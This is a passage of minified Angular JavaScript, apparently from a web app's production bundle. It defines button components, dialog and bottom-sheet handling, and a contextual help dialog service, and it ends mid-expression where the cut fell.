Wt(t,e){if(1&t&&(o.ynx(0,2),o.YNc(1,Gt,2,5,"luno-submit-button",3),o.YNc(2,qt,2,5,"luno-anchor-without-url-button",3),o.YNc(3,Zt,2,11,"luno-anchor-with-url-button",4),o.BQk()),2&t){var n=o.oxw();o.Q6J("ngSwitch",n.displayType),o.xp6(1),o.Q6J("ngSwitchCase",n.buttonDisplayType.SUBMIT_BUTTON),o.xp6(1),o.Q6J("ngSwitchCase",n.buttonDisplayType.ANCHOR_WITHOUT_URL),o.xp6(1),o.Q6J("ngSwitchCase",n.buttonDisplayType.ANCHOR_WITH_URL)}}function Jt(t,e){if(1&t&&(o.ynx(0),o._uU(1),o.BQk()),2&t){var n=o.oxw(2);o.xp6(1),o.Oqu(n.button.action.name)}}function Qt(t,e){if(1&t&&(o.TgZ(0,"mat-icon"),o._UZ(1,"mat-spinner",9),o.qZA()),2&t){var n=o.oxw(2);o.xp6(1),o.ekj("white-spinner",n.useWhiteLoader)}}function Kt(t,e){if(1&t&&(o.YNc(0,Jt,2,1,"ng-container",8),o.YNc(1,Qt,2,2,"mat-icon",8)),2&t){var n=o.oxw();o.Q6J("ngIf",!n.isButtonLoading&&n.button),o.xp6(1),o.Q6J("ngIf",n.isButtonLoading)}}var Xt=function(){return(t=Xt||(Xt={}))[t.PRIMARY=0]="PRIMARY",t[t.SECONDARY=1]="SECONDARY",t[t.SOCIAL=2]="SOCIAL",t[t.TERTIARY=3]="TERTIARY",Xt;var t}(),$t=function(){return(t=$t||($t={}))[t.ANCHOR_WITH_URL=0]="ANCHOR_WITH_URL",t[t.ANCHOR_WITHOUT_URL=1]="ANCHOR_WITHOUT_URL",t[t.SUBMIT_BUTTON=2]="SUBMIT_BUTTON",$t;var t}(),te=function(){function t(e,n,i,r,a){_(this,t),this.actionService=e,this.analyticsService=n,this.bottomSheet=i,this.dialog=r,this.tokenActionService=a,this.isDisabled=!1,this.isLoading=!1,this.isNormalCase=!1,this.dialogMaxWidth="540px",this.tokenActionComplete=new o.vpe,this.clicked=new o.vpe,this.bottomSheetItemSelected=new o.vpe,this.isPrimaryClass=!1,this.isSecondaryClass=!1,this.isTertiaryClass=!1,this.isGuideClass=!1,this.isNormalCaseClass=!1,this.buttonTypeEnum=Xt,this.isExternalLink=!1,this.shouldOpenInNewWindow=!1,this.rel=null,this.params={},this.buttonDisplayType=$t,this.displayType=$t.ANCHOR_WITHOUT_URL,this.isClicked=!1}return y(t,[{key:"button",get:function(){return this._button},set:function(t){if(t){if(this.setButtonType(t),this.hasUrl(t)){this.isExternalLink=this.actionService.isExternalLink(t.action.url),this.shouldOpenInNewWindow=this.actionService.shouldOpenInNewWindow(t.action.url);var e=this.actionService.isTrustedUrl(t.action.url);this.rel=this.shouldOpenInNewWindow?e?"opener":"noopener":null,this.params=this.actionService.getParams(t.action.url),t.action.url=this.isExternalLink?this.actionService.getUrl(t.action.url):this.actionService.getUrlWithoutParams(t.action.url)}this.setButtonDisplayType(t),this._button=t}}},{key:"themePalette",get:function(){return this._themePalette||"primary"},set:function(t){this._themePalette=t}},{key:"useWhiteLoader",get:function(){return this.isPrimaryClass&&!this.isGuideClass}},{key:"isButtonLoading",get:function(){return this.isLoading&&this.isClicked}},{key:"ngOnInit",value:function(){this.isNormalCaseClass=this.isNormalCase}},{key:"onClick",value:function(t){if(this.isClicked=!0,!this.isLoading&&this.button){if(this.isDisabled)return void t.preventDefault();if(this.isExternalLink)return this.analyticsService.logEvent(this.button.action&&this.button.action.event),void this.clicked.emit(this.button);if((this.displayType===$t.ANCHOR_WITHOUT_URL||this.displayType===$t.ANCHOR_WITH_URL)&&t.preventDefault(),this.hasDialogType())return void this.processDialog();this.hasBottomSheetType()&&this.processBottomSheet(),this.processTokenAction(),this.analyticsService.logEvent(this.button.action&&this.button.action.event),this.clicked.emit(this.button)}}},{key:"onIsLoadingChange",value:function(t){t||(this.isClicked=!1)}},{key:"setButtonType",value:function(t){if((0,h.G)(u.Ta6,t.action.type,u.Ta6.SOCIAL_SIGN_IN))this.buttonType=Xt.SOCIAL;else{switch((0,h.I)(u.gw3,t.action.style)){case u.gw3.PRIMARY:case u.gw3.PRIMARY_UPGRADE:case u.gw3.PRIMARY_GUIDE:case u.gw3.UNKNOWN_STYLE:this.buttonType=Xt.PRIMARY;break;case u.gw3.SECONDARY:case u.gw3.SECONDARY_UPGRADE:this.buttonType=Xt.SECONDARY;break;case u.gw3.TERTIARY:this.buttonType=Xt.TERTIARY;break;case u.gw3.APPLE:case u.gw3.FACEBOOK:case u.gw3.GOOGLE:this.buttonType=Xt.SOCIAL}switch((0,h.I)(u.gw3,t.action.style)){case u.gw3.PRIMARY:case u.gw3.PRIMARY_UPGRADE:case u.gw3.UNKNOWN_STYLE:this.isPrimaryClass=!0;break;case u.gw3.PRIMARY_GUIDE:this.isPrimaryClass=!0,this.isGuideClass=!0;break;case u.gw3.SECONDARY:case u.gw3.SECONDARY_UPGRADE:this.isSecondaryClass=!0;break;case u.gw3.TERTIARY:this.isTertiaryClass=!0}}}},{key:"hasDialogType",value:function(){return!!this.button&&(0,h.G)(u.Ta6,this.button.action.type,u.Ta6.DIALOG)}},{key:"hasBottomSheetType",value:function(){return!!this.button&&(0,h.G)(u.Ta6,this.button.action.type,u.Ta6.BOTTOM_SHEET)}},{key:"hasTokenType",value:function(){return!!this.button&&(0,h.G)(u.Ta6,this.button.action.type,u.Ta6.TOKEN_ACTION)}},{key:"processTokenAction",value:function(){var t,e,n=this;if((!(null===(t=this.button)||void 0===t?void 0:t.action.type)||this.hasTokenType())&&(null===(e=this.button)||void 0===e?void 0:e.action.token)){var i=this.actionService.getParsedToken(this.button.action.token);this.tokenActionService.executeAction(i).subscribe(function(t){return n.tokenActionComplete.emit(t)},function(){return n.tokenActionComplete.emit(!1)})}}},{key:"processDialog",value:function(){var t=this;this.button&&this.dialog.open(A.a,{data:this.button.dialog,maxWidth:this.dialogMaxWidth}).afterClosed().subscribe(function(e){t.onDialogClose(e)})}},{key:"onDialogClose",value:function(t){var e,n;if(this.button&&t){var i=this.createPrimaryDialogButton(this.button.dialog);this.analyticsService.logEvent(null===(e=this.button.action)||void 0===e?void 0:e.event),this.analyticsService.logEvent(null===(n=null==i?void 0:i.action)||void 0===n?void 0:n.event),this.clicked.emit(i||this.button)}}},{key:"createPrimaryDialogButton",value:function(t){return(null==t?void 0:t.primaryAction.id)?this.createButtonFromDialogAction(t.primaryAction):null}},{key:"createButtonFromDialogAction",value:function(t){return{action:{id:t.id,name:t.name,event:t.event,url:t.url}}}},{key:"processBottomSheet",value:function(){var t=this;if(this.button){var e=Nt;this.bottomSheetPanelClass&&e.push(this.bottomSheetPanelClass);var n=this.bottomSheet.open(Pt,{data:{bottomSheet:this.button.bottomSheet},panelClass:e});n.instance&&n.instance.itemSelected&&n.instance.itemSelected.subscribe(function(e){t.bottomSheetItemSelected.emit(e)})}}},{key:"hasUrl",value:function(t){return!!t.action&&!!t.action.url}},{key:"isSubmitButton",value:function(t){return!(!t.action||t.action.token)&&(0,h.G)(u.Ta6,t.action.type,u.Ta6.SUBMIT)}},{key:"setButtonDisplayType",value:function(t){this.displayType=this.isSubmitButton(t)?$t.SUBMIT_BUTTON:this.hasUrl(t)?$t.ANCHOR_WITH_URL:$t.ANCHOR_WITHOUT_URL}}]),t}();te.\u0275fac=function(t){return new(t||te)(o.Y36(S.c),o.Y36(E.y),o.Y36(a.ch),o.Y36(T.uw),o.Y36(jt))},te.\u0275cmp=o.Xpm({type:te,selectors:[["luno-button"]],hostVars:10,hostBindings:function(t,e){2&t&&o.ekj("is-primary",e.isPrimaryClass)("is-secondary",e.isSecondaryClass)("is-tertiary",e.isTertiaryClass)("is-guide",e.isGuideClass)("is-normal-case",e.isNormalCaseClass)},inputs:{button:"button",isDisabled:"isDisabled",isLoading:"isLoading",isNormalCase:"isNormalCase",dialogMaxWidth:"dialogMaxWidth",projectAssetsUrl:"projectAssetsUrl",textColor:"textColor",bottomSheetPanelClass:"bottomSheetPanelClass",themePalette:"themePalette"},outputs:{tokenActionComplete:"tokenActionComplete",clicked:"clicked",bottomSheetItemSelected:"bottomSheetItemSelected"},decls:3,vars:1,consts:[[3,"ngSwitch",4,"ngIf"],["buttonContent",""],[3,"ngSwitch"],[3,"buttonType","isDisabled","textColor","themePalette","clicked",4,"ngSwitchCase"],[3,"buttonType","button","params","isDisabled","isExternalLink","shouldOpenInNewWindow","rel","textColor","themePalette","projectAssetsUrl","clicked",4,"ngSwitchCase"],[3,"buttonType","isDisabled","textColor","themePalette","clicked"],[4,"ngTemplateOutlet"],[3,"buttonType","button","params","isDisabled","isExternalLink","shouldOpenInNewWindow","rel","textColor","themePalette","projectAssetsUrl","clicked"],[4,"ngIf"],["mode","indeterminate","diameter","24"]],template:function(t,e){1&t&&(o.YNc(0,Wt,4,4,"ng-container",0),o.YNc(1,Kt,2,2,"ng-template",null,1,o.W1O)),2&t&&o.Q6J("ngIf",e.button)},styles:[".is-normal-case[_nghost-%COMP%] .mat-button-wrapper{text-transform:none!important}a[_ngcontent-%COMP%]:focus{outline:none;text-decoration:inherit}.white-spinner[_ngcontent-%COMP%] circle{stroke:var(--color-neutral-0)!important}.mat-icon[_ngcontent-%COMP%]{width:100%;display:flex;justify-content:center;align-items:center;height:48px}"]}),(0,r.gn)([(0,Ht.G)("onIsLoadingChange"),(0,r.w6)("design:type",Boolean)],te.prototype,"isLoading",void 0)},67456:function(t,e,n){"use strict";n.d(e,{h:function(){return ct}});var i,r=n(54364),o=n(70781),a=n(52529),s=n(80181),u=n(68456),c=n(47532),l=n(76322),h=n(28417),f=n(11378),d=n(1625),p=n(2316),v=((i=function t(){_(this,t)}).\u0275fac=function(t){return new(t||i)},i.\u0275mod=p.oAB({type:i}),i.\u0275inj=p.cJS({imports:[[r.ez,d.To,a.Ps]]}),i),m=n(1707),g=n(76424),b=n(53116),k=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=p.oAB({type:t}),t.\u0275inj=p.cJS({imports:[[r.ez,f.N,a.Ps,h.ie,g.v,m.UX,b.H]]}),t}(),w=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=p.oAB({type:t}),t.\u0275inj=p.cJS({imports:[[r.ez,v,k,d.To,h.ie]]}),t}(),C=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=p.oAB({type:t}),t.\u0275inj=p.cJS({imports:[[r.ez,w]]}),t}(),x=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=p.oAB({type:t}),t.\u0275inj=p.cJS({imports:[[r.ez,f.N,l._r,h.ie,C]]}),t}(),S=n(91797),E=n(72337),A=n(4726),T=n(43817);function I(t,e){1&t&&p.GkF(0)}function O(t,e){if(1&t){var n=p.EpF();p.TgZ(0,"a",6),p.NdJ("click",function(t){return p.CHM(n),p.oxw(2).onClick(t)}),p.YNc(1,I,1,0,"ng-container",7),p.qZA()}if(2&t){var i=p.oxw(2),r=p.MAs(3);p.Udp("color",i.textColor),p.Q6J("disabled",i.isDisabled)("routerLink",i.isDisabled||null==i.button||null==i.button.action?null:i.button.action.url)("queryParams",i.params)("color",i.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",r)}}function R(t,e){1&t&&p.GkF(0)}function P(t,e){if(1&t){var n=p.EpF();p.TgZ(0,"a",8),p.NdJ("click",function(t){return p.CHM(n),p.oxw(2).onClick(t)}),p.YNc(1,R,1,0,"ng-container",7),p.qZA()}if(2&t){var i=p.oxw(2),r=p.MAs(3);p.Udp("color",i.textColor),p.Q6J("color",i.themePalette)("disabled",i.isDisabled)("routerLink",i.isDisabled||null==i.button||null==i.button.action?null:i.button.action.url)("queryParams",i.params),p.xp6(1),p.Q6J("ngTemplateOutlet",r)}}function N(t,e){1&t&&p.GkF(0)}function D(t,e){if(1&t){var n=p.EpF();p.TgZ(0,"a",9),p.NdJ("click",function(t){return p.CHM(n),p.oxw(2).onClick(t)}),p.YNc(1,N,1,0,"ng-container",7),p.qZA()}if(2&t){var i=p.oxw(2),r=p.MAs(3);p.Udp("color",i.textColor),p.Q6J("color",i.themePalette)("disabled",i.isDisabled)("routerLink",i.isDisabled||null==i.button||null==i.button.action?null:i.button.action.url)("queryParams",i.params),p.xp6(1),p.Q6J("ngTemplateOutlet",r)}}function L(t,e){if(1&t&&(p.ynx(0,2),p.YNc(1,O,2,7,"a",3),p.YNc(2,P,2,7,"a",4),p.YNc(3,D,2,7,"a",5),p.BQk()),2&t){var n=p.oxw();p.Q6J("ngSwitch",n.buttonType),p.xp6(1),p.Q6J("ngSwitchCase",n.buttonTypeEnum.PRIMARY),p.xp6(1),p.Q6J("ngSwitchCase",n.buttonTypeEnum.SECONDARY),p.xp6(1),p.Q6J("ngSwitchCase",n.buttonTypeEnum.TERTIARY)}}function M(t,e){1&t&&p.GkF(0)}function F(t,e){if(1&t){var n=p.EpF();p.TgZ(0,"a",14),p.NdJ("click",function(t){return p.CHM(n),p.oxw(2).onClick(t)}),p.YNc(1,M,1,0,"ng-container",7),p.qZA()}if(2&t){var i=p.oxw(2),r=p.MAs(3);p.Udp("color",i.textColor),p.Q6J("disabled",i.isDisabled)("href",null==i.button||null==i.button.action?null:i.button.action.url,p.LSH)("target",i.shouldOpenInNewWindow?"_blank":"")("rel",i.rel)("color",i.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",r)}}function U(t,e){1&t&&p.GkF(0)}function B(t,e){if(1&t){var n=p.EpF();p.TgZ(0,"a",15),p.NdJ("click",function(t){return p.CHM(n),p.oxw(2).onClick(t)}),p.YNc(1,U,1,0,"ng-container",7),p.qZA()}if(2&t){var i=p.oxw(2),r=p.MAs(3);p.Udp("color",i.textColor),p.Q6J("disabled",i.isDisabled)("href",null==i.button||null==i.button.action?null:i.button.action.url,p.LSH)("target",i.shouldOpenInNewWindow?"_blank":"")("rel",i.rel)("color",i.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",r)}}function j(t,e){1&t&&p.GkF(0)}function H(t,e){if(1&t){var n=p.EpF();p.TgZ(0,"a",16),p.NdJ("click",function(t){return p.CHM(n),p.oxw(2).onClick(t)}),p.YNc(1,j,1,0,"ng-container",7),p.qZA()}if(2&t){var i=p.oxw(2),r=p.MAs(3);p.Udp("color",i.textColor),p.Q6J("disabled",i.isDisabled)("href",null==i.button||null==i.button.action?null:i.button.action.url,p.LSH)("target",i.shouldOpenInNewWindow?"_blank":"")("rel",i.rel)("color",i.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",r)}}function V(t,e){if(1&t&&p._UZ(0,"luno-social-button",17),2&t){var n=p.oxw(2);p.Q6J("button",n.button)("projectAssetsUrl",n.projectAssetsUrl)}}function G(t,e){if(1&t&&(p.ynx(0,2),p.YNc(1,F,2,8,"a",10),p.YNc(2,B,2,8,"a",11),p.YNc(3,H,2,8,"a",12),p.YNc(4,V,1,2,"luno-social-button",13),p.BQk()),2&t){var n=p.oxw();p.Q6J("ngSwitch",n.buttonType),p.xp6(1),p.Q6J("ngSwitchCase",n.buttonTypeEnum.PRIMARY),p.xp6(1),p.Q6J("ngSwitchCase",n.buttonTypeEnum.SECONDARY),p.xp6(1),p.Q6J("ngSwitchCase",n.buttonTypeEnum.TERTIARY),p.xp6(1),p.Q6J("ngSwitchCase",n.buttonTypeEnum.SOCIAL)}}function Y(t,e){1&t&&p.Hsn(0)}var q=["*"],z=function(){var t=function(){function t(){_(this,t),this.params={},this.isDisabled=!1,this.isExternalLink=!1,this.shouldOpenInNewWindow=!1,this.rel=null,this.themePalette="primary",this.clicked=new p.vpe,this.buttonTypeEnum=S.L$}return y(t,[{key:"onClick",value:function(t){this.clicked.emit(t)}}]),t}();return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=p.Xpm({type:t,selectors:[["luno-anchor-with-url-button"]],inputs:{buttonType:"buttonType",button:"button",params:"params",isDisabled:"isDisabled",isExternalLink:"isExternalLink",shouldOpenInNewWindow:"shouldOpenInNewWindow",rel:"rel",textColor:"textColor",themePalette:"themePalette",projectAssetsUrl:"projectAssetsUrl"},outputs:{clicked:"clicked"},ngContentSelectors:q,decls:4,vars:2,consts:[[3,"ngSwitch",4,"ngIf"],["buttonContent",""],[3,"ngSwitch"],["mat-flat-button","","role","button",3,"disabled","routerLink","queryParams","color","click",4,"ngSwitchCase"],["mat-button","",3,"color","disabled","routerLink","queryParams","click",4,"ngSwitchCase"],["mat-stroked-button","",3,"color","disabled","routerLink","queryParams","click",4,"ngSwitchCase"],["mat-flat-button","","role","button",3,"disabled","routerLink","queryParams","color","click"],[4,"ngTemplateOutlet"],["mat-button","",3,"color","disabled","routerLink","queryParams","click"],["mat-stroked-button","",3,"color","disabled","routerLink","queryParams","click"],["mat-flat-button","","role","button",3,"disabled","href","target","rel","color","click",4,"ngSwitchCase"],["mat-button","","role","button",3,"disabled","href","target","rel","color","click",4,"ngSwitchCase"],["mat-stroked-button","","role","button",3,"disabled","href","target","rel","color","click",4,"ngSwitchCase"],[3,"button","projectAssetsUrl",4,"ngSwitchCase"],["mat-flat-button","","role","button",3,"disabled","href","target","rel","color","click"],["mat-button","","role","button",3,"disabled","href","target","rel","color","click"],["mat-stroked-button","","role","button",3,"disabled","href","target","rel","color","click"],[3,"button","projectAssetsUrl"]],template:function(t,e){1&t&&(p.F$t(),p.YNc(0,L,4,4,"ng-container",0),p.YNc(1,G,5,5,"ng-container",0),p.YNc(2,Y,1,0,"ng-template",null,1,p.W1O)),2&t&&(p.Q6J("ngIf",!e.isExternalLink),p.xp6(1),p.Q6J("ngIf",e.isExternalLink))},directives:[r.O5,r.RF,r.n9,o.zs,c.yS,r.tP,T.Y],encapsulation:2,changeDetection:0}),t}();function Z(t,e){1&t&&p.GkF(0)}function W(t,e){if(1&t){var n=p.EpF();p.TgZ(0,"a",5),p.NdJ("click",function(t){return p.CHM(n),p.oxw().onClick(t)}),p.YNc(1,Z,1,0,"ng-container",6),p.qZA()}if(2&t){var i=p.oxw(),r=p.MAs(5);p.Udp("color",i.textColor),p.Q6J("disabled",i.isDisabled)("color",i.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",r)}}function J(t,e){1&t&&p.GkF(0)}function Q(t,e){if(1&t){var n=p.EpF();p.TgZ(0,"a",7),p.NdJ("click",function(t){return p.CHM(n),p.oxw().onClick(t)}),p.YNc(1,J,1,0,"ng-container",6),p.qZA()}if(2&t){var i=p.oxw(),r=p.MAs(5);p.Udp("color",i.textColor),p.Q6J("disabled",i.isDisabled)("color",i.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",r)}}function K(t,e){1&t&&p.GkF(0)}function X(t,e){if(1&t){var n=p.EpF();p.TgZ(0,"a",8),p.NdJ("click",function(t){return p.CHM(n),p.oxw().onClick(t)}),p.YNc(1,K,1,0,"ng-container",6),p.qZA()}if(2&t){var i=p.oxw(),r=p.MAs(5);p.Udp("color",i.textColor),p.Q6J("disabled",i.isDisabled)("color",i.themePalette),p.xp6(1),p.Q6J("ngTemplateOutlet",r)}}function $(t,e){1&t&&p.Hsn(0)}var tt=["*"],et=function(){var t=function(){function t(){_(this,t),this.isDisabled=!1,this.themePalette="primary",this.clicked=new p.vpe,this.ButtonTypeEnum=S.L$}return y(t,[{key:"onClick",value:function(t){this.clicked.emit(t)}}]),t}();return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=p.Xpm({type:t,selectors:[["luno-anchor-without-url-button"]],inputs:{buttonType:"buttonType",isDisabled:"isDisabled",textColor:"textColor",themePalette:"themePalette"},outputs:{clicked:"clicked"},ngContentSelectors:tt,decls:6,vars:4,consts:[[3,"ngSwitch"],["mat-flat-button","","role","button",3,"disabled","color","click",4,"ngSwitchCase"],["mat-button","","role","button",3,"disabled","color","click",4,"ngSwitchCase"],["mat-stroked-button","","role","button",3,"disabled","color","click",4,"ngSwitchCase"],["buttonContent",""],["mat-flat-button","","role","button",3,"disabled","color","click"],[4,"ngTemplateOutlet"],["mat-button","","role","button",3,"disabled","color","click"],["mat-stroked-button","","role","button",3,"disabled","color","click"]],template:function(t,e){1&t&&(p.F$t(),p.ynx(0,0),p.YNc(1,W,2,5,"a",1),p.YNc(2,Q,2,5,"a",2),p.YNc(3,X,2,5,"a",3),p.BQk(),p.YNc(4,$,1,0,"ng-template",null,4,p.W1O)),2&t&&(p.Q6J("ngSwitch",e.buttonType),p.xp6(1),p.Q6J("ngSwitchCase",e.ButtonTypeEnum.PRIMARY),p.xp6(1),p.Q6J("ngSwitchCase",e.ButtonTypeEnum.SECONDARY),p.xp6(1),p.Q6J("ngSwitchCase",e.ButtonTypeEnum.TERTIARY))},directives:[r.RF,r.n9,o.zs,r.tP],encapsulation:2,changeDetection:0}),t}();function nt(t,e){1&t&&p.GkF(0)}function it(t,e){if(1&t){var n=p.EpF();p.TgZ(0,"button",4),p.NdJ("click",function(t){return p.CHM(n),p.oxw().onClick(t)}),p.YNc(1,nt,1,0,"ng-container",5),p.qZA()}if(2&t){var i=p.oxw(),r=p.MAs(4);p.Udp("color",i.textColor),p.Q6J("color",i.themePalette)("disabled",i.isDisabled),p.xp6(1),p.Q6J("ngTemplateOutlet",r)}}function rt(t,e){1&t&&p.GkF(0)}function ot(t,e){if(1&t){var n=p.EpF();p.TgZ(0,"button",6),p.NdJ("click",function(t){return p.CHM(n),p.oxw().onClick(t)}),p.YNc(1,rt,1,0,"ng-container",5),p.qZA()}if(2&t){var i=p.oxw(),r=p.MAs(4);p.Udp("color",i.textColor),p.Q6J("color",i.themePalette)("disabled",i.isDisabled),p.xp6(1),p.Q6J("ngTemplateOutlet",r)}}function at(t,e){1&t&&p.Hsn(0)}var st=["*"],ut=function(){var t=function(){function t(){_(this,t),this.isDisabled=!1,this.themePalette="primary",this.clicked=new p.vpe,this.buttonTypeEnum=S.L$}return y(t,[{key:"onClick",value:function(t){this.clicked.emit(t)}}]),t}();return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=p.Xpm({type:t,selectors:[["luno-submit-button"]],inputs:{buttonType:"buttonType",isDisabled:"isDisabled",textColor:"textColor",themePalette:"themePalette"},outputs:{clicked:"clicked"},ngContentSelectors:st,decls:5,vars:3,consts:[[3,"ngSwitch"],["mat-flat-button","","type","submit","role","button",3,"color","disabled","click",4,"ngSwitchCase"],["mat-button","","type","submit","role","button",3,"color","disabled","click",4,"ngSwitchCase"],["buttonContent",""],["mat-flat-button","","type","submit","role","button",3,"color","disabled","click"],[4,"ngTemplateOutlet"],["mat-button","","type","submit","role","button",3,"color","disabled","click"]],template:function(t,e){1&t&&(p.F$t(),p.ynx(0,0),p.YNc(1,it,2,5,"button",1),p.YNc(2,ot,2,5,"button",2),p.BQk(),p.YNc(3,at,1,0,"ng-template",null,3,p.W1O)),2&t&&(p.Q6J("ngSwitch",e.buttonType),p.xp6(1),p.Q6J("ngSwitchCase",e.buttonTypeEnum.PRIMARY),p.xp6(1),p.Q6J("ngSwitchCase",e.buttonTypeEnum.SECONDARY))},directives:[r.RF,r.n9,o.lW,r.tP],encapsulation:2,changeDetection:0}),t}(),ct=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=p.oAB({type:t}),t.\u0275inj=p.cJS({imports:[[x,r.ez,E.S,o.ot,a.Ps,s.Cq,u.ZX,c.Bz,A.u]]}),t}();p.B6R(S.r0,[r.O5,r.RF,r.n9,ut,r.tP,et,z,a.Hw,s.$g],[])},62940:function(t,e,n){"use strict";n.d(e,{X:function(){return U}});var i,r=n(22213),o=n(79441),a=n(22663),s=n(58625),u=n(70227),c=n(76491),h=n(33927),d=n(30706),p=n(96005),v=n(2316),m=((i=function(){function t(e){_(this,t),this.http=e,this.apiUrl_="/ajax/1/help/contextual",this.subject=new c.X(null)}return y(t,[{key:"get",value:function(t){return this.fetch().pipe((0,p._)(),(0,h.U)(function(e){return e.elements[t]}))}},{key:"fetch",value:function(){var t=this;return this.subject.value?this.subject:this.http.get(this.apiUrl_,{}).pipe((0,h.U)(function(e){return t.subject.next(e),e}))}}]),t}()).\u0275fac=function(t){return new(t||i)(v.LFG(d.OE))},i.\u0275prov=v.Yz7({token:i,factory:i.\u0275fac,providedIn:"root"}),i),g=n(62157),b=n(54364),k=n(74058),w=n(1707),C=n(70781),x=n(47532);function S(t,e){if(1&t&&v._UZ(0,"img",6),2&t){var n=v.oxw();v.Q6J("src",n.headerImageUrl,v.LSH)}}function E(t,e){if(1&t&&v._UZ(0,"div",7),2&t){var n=v.oxw();v.Q6J("innerHTML",n.bodyHtml,v.oJD)}}function A(t,e){if(1&t&&(v.TgZ(0,"div",8),v.TgZ(1,"mat-checkbox",9),v._UZ(2,"p",10),v.qZA(),v.qZA()),2&t){var n=v.oxw();v.ekj("error",n.hasAttemptedConfirm&&!n.checkbox.value),v.xp6(1),v.Q6J("formControl",n.checkbox),v.xp6(1),v.Q6J("innerHTML",n.checkboxText,v.oJD)}}function T(t,e){if(1&t){var n=v.EpF();v.TgZ(0,"button",12),v.NdJ("click",function(){return v.CHM(n),v.oxw(2).dismiss(!1)}),v._uU(1),v.qZA()}if(2&t){var i=v.oxw(2);v.uIk("cdkFocusInitial",!!i.focusSecondaryButton||null),v.xp6(1),v.Oqu(i.secondaryActionName)}}function I(t,e){if(1&t){var n=v.EpF();v.TgZ(0,"a",15),v.NdJ("click",function(){return v.CHM(n),v.oxw(3).dismiss(!1)}),v._uU(1),v.qZA()}if(2&t){var i=v.oxw(3);v.Q6J("routerLink",i.secondaryActionUrl)("queryParams",i.secondaryActionUrlParams),v.xp6(1),v.Oqu(i.secondaryActionName)}}function O(t,e){if(1&t){var n=v.EpF();v.TgZ(0,"a",16),v.NdJ("click",function(){return v.CHM(n),v.oxw(3).dismiss(!1)}),v._uU(1),v.qZA()}if(2&t){var i=v.oxw(3);v.Q6J("href",i.secondaryActionUrl,v.LSH)("target",i.shouldOpenInNewWindow(i.secondaryActionUrl)?"_blank":""),v.xp6(1),v.Oqu(i.secondaryActionName)}}function R(t,e){if(1&t&&(v.ynx(0),v.YNc(1,I,2,3,"a",13),v.YNc(2,O,2,3,"a",14),v.BQk()),2&t){var n=v.oxw(2);v.xp6(1),v.Q6J("ngIf",!n.showExternalLink(n.secondaryActionUrl)),v.xp6(1),v.Q6J("ngIf",n.showExternalLink(n.secondaryActionUrl))}}function P(t,e){if(1&t&&(v.ynx(0),v.YNc(1,T,2,2,"button",11),v.YNc(2,R,3,2,"ng-container",5),v.BQk()),2&t){var n=v.oxw();v.xp6(1),v.Q6J("ngIf",n.showSecondaryButton),v.xp6(1),v.Q6J("ngIf",n.showSecondaryLink)}}function N(t,e){if(1&t){var n=v.EpF();v.TgZ(0,"button",12),v.NdJ("click",function(){return v.CHM(n),v.oxw(2).dismiss(!0)}),v._uU(1),v.qZA()}if(2&t){var i=v.oxw(2);v.uIk("cdkFocusInitial",!i.focusSecondaryButton||null),v.xp6(1),v.Oqu(i.primaryActionName)}}function D(t,e){if(1&t){var n=v.EpF();v.TgZ(0,"a",15),v.NdJ("click",function(){return v.CHM(n),v.oxw(3).dismiss(!0)}),v._uU(1),v.qZA()}if(2&t){var i=v.oxw(3);v.Q6J("routerLink",i.primaryActionUrl)("queryParams",i.primaryActionUrlParams),v.xp6(1),v.Oqu(i.primaryActionName)}}function L(t,e){if(1&t){var n=v.EpF();v.TgZ(0,"a",16),v.NdJ("click",function(){return v.CHM(n),v.oxw(3).dismiss(!0)}),v._uU(1),v.qZA()}if(2&t){var i=v.oxw(3);v.Q6J("href",i.primaryActionUrl,v.LSH)("target",i.shouldOpenInNewWindow(i.primaryActionUrl)?"_blank":""),v.xp6(1),v.Oqu(i.primaryActionName)}}function M(t,e){if(1&t&&(v.ynx(0),v.YNc(1,D,2,3,"a",13),v.YNc(2,L,2,3,"a",14),v.BQk()),2&t){var n=v.oxw(2);v.xp6(1),v.Q6J("ngIf",!n.showExternalLink(n.primaryActionUrl)),v.xp6(1),v.Q6J("ngIf",n.showExternalLink(n.primaryActionUrl))}}function F(t,e){if(1&t&&(v.ynx(0),v.YNc(1,N,2,2,"button",11),v.YNc(2,M,3,2,"ng-container",5),v.BQk()),2&t){var n=v.oxw();v.xp6(1),v.Q6J("ngIf",n.showPrimaryButton),v.xp6(1),v.Q6J("ngIf",n.showPrimaryLink)}}var U=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r,a,s){var u;return _(this,n),(u=e.call(this,i,r,a,{})).contextualHelpService=t,u.analyticsService=i,u.dialogRef=r,u.actionService=a,u.data=s,u.unsubscribe$=new o.xQ,u}return y(n,[{key:"ngOnInit",value:function(){this.fetchHelpData()}},{key:"ngOnDestroy",value:function(){this.unsubscribe$.next(),this.unsubscribe$.complete()}},{key:"fetchHelpData",value:function(){var t=this;this.contextualHelpService.get(this.data.helpElementId).pipe((0,a.R)(this.unsubscribe$)).subscribe(function(e){t.setConfig(t.elementHelpToDialog(e))})}},{key:"elementHelpToDialog",value:function(t){return{title:t.title||"",bodyHtml:t.bodyHtml||"",primaryAction:t.primaryAction,secondaryAction:t.secondaryAction}}}]),n}(g.a);return t.\u0275fac=function(e){return 